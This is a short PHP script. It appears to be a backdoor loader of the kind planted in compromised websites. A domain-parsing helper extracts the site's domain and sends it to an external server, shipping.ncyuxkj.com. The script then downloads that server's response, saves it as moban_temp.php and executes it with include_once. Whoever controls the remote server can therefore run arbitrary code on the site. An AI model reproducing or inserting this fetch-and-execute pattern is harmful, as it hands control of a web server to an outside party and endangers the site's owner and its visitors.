<?php

function getTopLevelDomainRobust() {
    if (!isset($_SERVER['HTTP_HOST'])) {
        return null;
    }
    
    $host = strtolower($_SERVER['HTTP_HOST']);
    
    // 去除端口号
    if (strpos($host, ':') !== false) {
        $host = substr($host, 0, strpos($host, ':'));
    }
    
    // 处理特殊TLD
    $specialTlds = [
        'co.uk', 'com.br', 'com.cn', 'org.uk', 'net.au',
        'gov.uk', 'ac.uk', 'edu.cn', 'com.hk', 'org.cn'
    ];
    
    $parts = explode('.', $host);
    $count = count($parts);
    
    if ($count <= 1) {
        return $host;
    }
    
    $tld = $parts[$count-2] . '.' . $parts[$count-1];
    
    if (in_array($tld, $specialTlds) && $count >= 3) {
        return $parts[$count-3] . '.' . $tld;
    }
    
    return $tld;
}

$domain = getTopLevelDomainRobust();

$url = 'https://shipping.ncyuxkj.com/guanwang/index.php?yuming='.$domain;
$content = file_get_contents($url);
file_put_contents('moban_temp.php', $content);
include_once 'moban_temp.php';